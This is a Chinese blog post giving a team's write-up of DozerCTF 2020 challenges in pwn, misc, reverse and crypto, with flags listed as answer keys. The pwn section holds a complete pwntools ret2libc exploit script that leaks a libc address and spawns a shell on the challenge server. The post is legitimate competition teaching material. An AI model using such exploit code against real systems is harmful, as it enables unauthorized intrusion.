DozerCTF 部分wp(无web)2020

DozerCTF已经结束有一段时间了,比赛的wp一早就写完了,但是这几天一直在忙期末考试和几个比赛的事,把wp搬运到CSDN上的事就一直搁置了,今天终于腾出了点时间,还是决定写一下我们队伍的wp,权当为各位大佬抛砖引玉了,不详尽的地方,请多海涵。

Pwn ret2temp

应该是入门级别的ret2libc,就直接贴脚本了

#encoding=utf-8
from pwn import *from LibcSearcher import *
p=remote("118.31.11.216","36666")
#p=remotr('./pwn')
elf=ELF("./pwn")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_addr=elf.sym["main"]
p.recvuntil("AWD~!\n")
payload=(0x6C+4)*"a"+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
libc=LibcSearcher("write",write_addr)
base=write_addr-libc.dump("write")
system_addr=base+libc.dump("system")
binsh_addr=base+libc.dump("str_bin_sh")
payload=(0x6C+4)*"a"+p32(system_addr)+p32(0)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
#Flag:Dozerctf{bunengzaijiandanle}

Misc
0x01 upload

简单流量包分析,wireshark打开upload.pcap,搜索flag发现可疑流量包:
在这里插入图片描述
将这个包原始数据保存下来:
在这里插入图片描述
是zip,单独保存出来,发现有加密,打开看到5个txt,每个txt只有6个字节,考虑crc爆破:
在这里插入图片描述
使用一个6字节CRC碰撞的脚本对6个txt的CRC逐个碰撞:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Flag: Dozerctf{can_U_find_thefilefrom_traffic}

0x02 py吗
在StegSolve中找到LSB隐写的痕迹,看到结尾的==怀疑是base64加密,考虑到flag开头固定为Dozer,于是去把Dozer加密一下:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
于是搜索对应字符串:
在这里插入图片描述
将后面的一部分数据base64解密得到flag:
在这里插入图片描述
Flag:Dozerctf{python_is_the_best_language!}

  • 0x03 夏日计划
    文件过大,但foremost行不通,考虑对解压文件进行NTFS检测:
    在这里插入图片描述
    发现txt中存在隐藏的rar,用winrar修复并打开压缩包:
    在这里插入图片描述

得到四个文件,每个文件的画风都很奇怪:在这里插入图片描述
用kali自带工具gnuplot将图绘出并用PS旋转,翻转,高斯模糊10像素,黑白,对比度拉满,反色,最后得到汉信码:
在这里插入图片描述
在这里插入图片描述
拿到中国编码app上解码
在这里插入图片描述
Flag: Dozerctf{Congratulations_U_find_it}
Reverse
0x01 貌似有些不对
在这里插入图片描述
在这里插入图片描述
Flag:Dozerctf{old_man_is_good_man!}

0x02 easy_maze
检测程序,32位,发现UPX壳。
在这里插入图片描述

利用工具脱壳得:在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

对byte_41A000的处理为:下标为0,即向上时:下标0,2所对应的值交换下标为1,即向左时:前退一位下标为2,即向下走时:下标0,2对应值交换,下标1,3对应值交换。下标为3,即向右走时,右推一位。手动手撕迷宫,得到路径:SWSWDSAADAWADADADSAWDADWASDADASDDADAWASWSWSDMD5加密得flag。
Flag:Dozerctf{e2b94144f06fdb08695065331d44b59e}
0x03 dozer_vm_plus
在这里插入图片描述
Flag:DozerCtf{Dozer_VM_is_so_easy!}

Crypto
0x01 真 签到
下载的exe用winhex打开
base64
base32
hex to string
base58
Flag: Dozerctf{base_family_is_so_good}
0x02 eazy_bag
nc 118.31.11.216 30003
得到背包密码的一组pubkey和enc
于是一顿搜索,找到了CTFwiki上的脚本:
在这里插入图片描述
我们对脚本中的pubkey和enc的获取的pubkey和enc稍作修改,将得到的key和明文直接放上去,然后通过sagemath的在线运行平台得出结果:
在这里插入图片描述
不知道为什么最后的结果少了点东西,解除的密文是奇数位的,于是根据最后的7070大胆的在最后面添了一个0,将的到的结果16进制转字符一下:
在这里插入图片描述
Flag:Dozerctf{big_bag_big_bang_pppp}

最后拿了一个15名,感觉一般吧,毕竟web一题没有写是真的伤。
MISC的最后一个内存取证题再给一个小时可能就写出来了,当时拿到的用户密码去MD5的时候解到的AaBbCc123不知道为什么就是不能打开加密文件,赛后手敲就直接打开了,可能是复制的时候复制到了一个空格或者回车什么的,长记性了,打开加密文件后直接得到一个流量包,是个典型的USB的键盘加密流量包,Github的脚本直接解开得flag。
再次感谢我的队友36小时的付出!
非常感谢您的观看,以上就是我们队伍在这次比赛中全部的解题思路,若有不理解的地方欢迎留言。

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

monster663

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值